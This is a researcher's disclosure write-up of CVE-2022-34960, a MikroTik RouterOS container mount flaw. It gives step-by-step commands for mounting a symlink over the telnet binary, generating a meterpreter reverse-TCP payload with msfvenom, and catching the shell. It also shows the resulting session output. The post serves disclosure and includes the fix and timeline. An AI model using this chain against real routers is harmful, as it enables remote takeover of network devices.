Symlinks as mount portals: Abusing container mount points on MikroTik's RouterOS to gain code execution

CVE-2022-34960 CRITICAL: 9.8

Aug 5, 2022

RouterOS release 7.4beta4 introduced containers for MikroTik devices. From the changelog:

> container - added support for running Docker (TM) containers on ARM, ARM64 and x86

It turns out that due to a couple of implementation flaws, it's possible to execute code on the host device via the container functionality.

Mount points

In the MikroTik documentation, it is shown that it's possible to create mount points between the host and the container. As an example, the `etc` folder on `disk1` is mounted into `/etc/pihole` in the container:

```
/container/mounts/add name=etc_pihole src=disk1/etc dst=/etc/pihole
```

While playing around with this feature, I soon realized that the current implementation has three specific behaviour details which makes the feature rather dangerous.

1. Paths are resolved through symlinks

Let's, for example, take the following directory structure:

```
disk1/
├── dir1/
│   ├── file1
│   └── file2
└── dir2/ --(symbolic link)--> dir1/
```

Even though `dir2` is a symbolic link to `dir1`, adding a mount point to `disk1/dir2/file1` works, meaning that `dir2` is resolved to `dir1` before the file is mounted.

2. Symlinks are resolved relative to the host device's root, not the container's root

Let's say my container's root filesystem is stored in `disk1/alpine`. If I do the following inside the container:

```
# ln -s / /rootfs
```

... then inside the container, the directory `/rootfs` resolves to `/` as expected. However, if I then use this directory as a mount point source when setting the container up in RouterOS, then the symbolic link is resolved in relation to the device's own filesystem.

As an example, I'll mount the host filesystem inside the container's `/mnt` directory:

```
/container/mounts/add name=rootfs src=/disk1/alpine/rootfs dst=/mnt
```

Then, from inside the created container, I can access the host's root filesystem:

```
# ls -l /mnt
total 0
drwxr-xr-x    2 nobody   nobody         149 Jun 15 11:38 bin
drwxr-xr-x    9 nobody   nobody         131 Jun 15 11:38 bndl
drwxr-xr-x    2 nobody   nobody           3 Jun 15 11:38 boot
drwxr-xr-x    2 nobody   nobody           3 Jun 15 11:38 dev
lrwxrwxrwx    1 nobody   nobody          11 Jun 15 11:38 dude -> /flash/dude
drwxr-xr-x    2 nobody   nobody         352 Jun 15 11:38 etc
drwxr-xr-x    2 nobody   nobody           3 Jun 15 11:38 flash
drwxr-xr-x    3 nobody   nobody          26 Jun 15 11:38 home
drwxr-xr-x    3 nobody   nobody         403 Jun 15 11:38 lib
drwxr-xr-x    5 nobody   nobody          73 Jun 15 11:38 nova
lrwxrwxrwx    1 nobody   nobody           9 Jun 15 11:38 pckg -> /ram/pckg
drwxr-xr-x    2 nobody   nobody           3 Jun 15 11:38 proc
drwxr-xr-x    2 nobody   nobody           3 Jun 15 11:38 ram
lrwxrwxrwx    1 nobody   nobody           9 Jun 15 11:38 rw -> /flash/rw
drwxr-xr-x    2 nobody   nobody          45 Jun 15 11:38 sbin
```

```
drwxr-xr-x    2 nobody   nobody           3 Jun 15 11:38 sys
lrwxrwxrwx    1 nobody   nobody           7 Jun 15 11:38 tmp -> /rw/tmp
drwxr-xr-x    5 nobody   nobody         111 Jun 15 11:38 var
```

While it's possible to read files, most of the filesystem is read-only, meaning it's not possible to write files. However...

3. Symlinks are resolved for both the `src` and `dst` parameters

What this effectively means is that by using this same `rootfs` symlink in the `dst` parameter, it is possible to mount any arbitrary directory or file from any location (even from inside the container) to any location on the host filesystem.

As an example, I create a mount point that mounts a `robots.txt` file from inside the container to the webfig directory, effectively "overwriting" the existing `robots.txt`:

```
/container/mounts/add name=robots src=/disk1/alpine/robots.txt
dst=/rootfs/home/web/robots.txt
```

Then, on a third machine, we verify that it was overwritten using `curl`:

```
$ curl router.lan/robots.txt
Hello from inside the container!
```

Exploitation

Mount-what-where is a very powerful primitive. It should be relatively easy to run arbitrary code - just mount over a preexisting executable on the system that gets executed by the device at some point.

However, that won't work, because of how the mount point is created. From `/proc/mounts`:

```
/dev/sda1 /nova/bin/telnet ext4 rw,nosuid,nodev,noexec,relatime 0 0
```

The mount point is created with the `nosuid`, `nodev`, and most importantly `noexec` options. This means that even if you were to mount over an existing binary, it would never get executed, and would instead fail with a "Permission denied" every time. This also extends to shared libraries, so mounting over `.so` files is also out of the question.

I also didn't spot any obvious config files which would allow running code.

This is where symlinks come to the rescue yet again.

As it turns out, symlinks existing on `noexec` filesystems but pointing to binaries existing on filesystems without `noexec` will still be executed:

```
$ cp $(which id) id1
$ ln -s $(which id) id2
$ ./id1
bash: ./id1: Permission denied
$ ./id2
uid=1000(xx) gid=1000(xx) groups=1000(xx)
```

This means that we can simply mount a symbolic link over a specific executable that points to the malicious binary we want to run, assuming it is accessible from some mount point that doesn't have the `noexec` flag set. By looking at `/proc/mounts`, we can see that the container's own root filesystem is actually not mounted with `noexec` (which makes sense - you wouldn't be able to run executables inside the container otherwise):

```
/dev/sda1 /flash/rw/container/aa10a963-9715-4c61-967c-7d9f993410e6/root ext4
rw,nosuid,nodev,relatime 0 0
```

This is all we need to mount a successful attack. As the malicious binary, I generated a `meterpreter/reverse_tcp` ELF:

```
msfvenom -p linux/armle/meterpreter/reverse_tcp LHOST=10.4.0.245 LPORT=1338 -f
elf > rev
```

I copied this inside the container and also created a symlink pointing to its location in the executable mount point:

```
ln -s /flash/rw/container/aa10a963-9715-4c61-967c-7d9f993410e6/root/rev /revlnk
```

As the target binary, I decided to use `telnet`, as it's relatively low-priority and easy to trigger and debug. I then created the mount point in RouterOS:

```
/container/mounts/add name=telnet src=/disk1/alpine/revlnk
dst=/rootfs/nova/bin/telnet
```

After starting the container, the binary `/nova/bin/telnet` was mounted over and was instead a symlink to our malicious binary:

```
/nova/bin/telnet -> /flash/rw/container/aa10a963-9715-4c61-967c-
7d9f993410e6/root/rev
```

As expected, after running `/system/telnet 127.0.0.1` on the device, I got a connection in my Meterpreter listener:

```
msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 10.4.0.245:1338
[*] Sending stage (908480 bytes) to 10.4.0.1
[*] Meterpreter session 1 opened (10.4.0.245:1338 -> 10.4.0.1:59434) at
2022-06-21 10:24:34 +0300

meterpreter > ls
Listing: /
==========

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
040755/rwxr-xr-x  149   dir   2022-06-15 14:38:21 +0300  bin
040755/rwxr-xr-x  131   dir   2022-06-15 14:38:21 +0300  bndl
040755/rwxr-xr-x  3     dir   2022-06-15 14:38:21 +0300  boot
040755/rwxr-xr-x  6140  dir   2022-06-20 21:41:47 +0300  dev
                                                         dude
040755/rwxr-xr-x  352   dir   2022-06-15 14:38:21 +0300  etc
040755/rwxr-xr-x  1024  dir   2022-06-20 21:41:14 +0300  flash
040755/rwxr-xr-x  26    dir   2022-06-15 14:38:21 +0300  home
040755/rwxr-xr-x  403   dir   2022-06-15 14:38:21 +0300  lib
040755/rwxr-xr-x  73    dir   2022-06-15 14:38:21 +0300  nova
040755/rwxr-xr-x  200   dir   1970-01-01 03:00:12 +0300  pckg
040555/r-xr-xr-x  0     dir   1970-01-01 03:00:00 +0300  proc
041777/rwxrwxrwx  400   dir   2022-06-21 08:33:07 +0300  ram
040755/rwxr-xr-x  1024  dir   1970-01-01 03:00:14 +0300  rw
```

This means we can successfully execute arbitrary code on the device.

The issue is fixed in RouterOS versions 7.4beta5, 7.4, 7.5beta1, and higher.

Timeline

- **21/06/2022** - Attempted to contact vendor
- **21/06/2022** - Vendor response
- **04/08/2022** - Assigned ID CVE-2022-34960
- **05/08/2022** - Vendor informs of fixes in codebase
- **05/08/2022** - Post published

Author | nns

Ethical Hacking and Cybersecurity professional with a special interest for hardware hacking, IoT and Linux/GNU.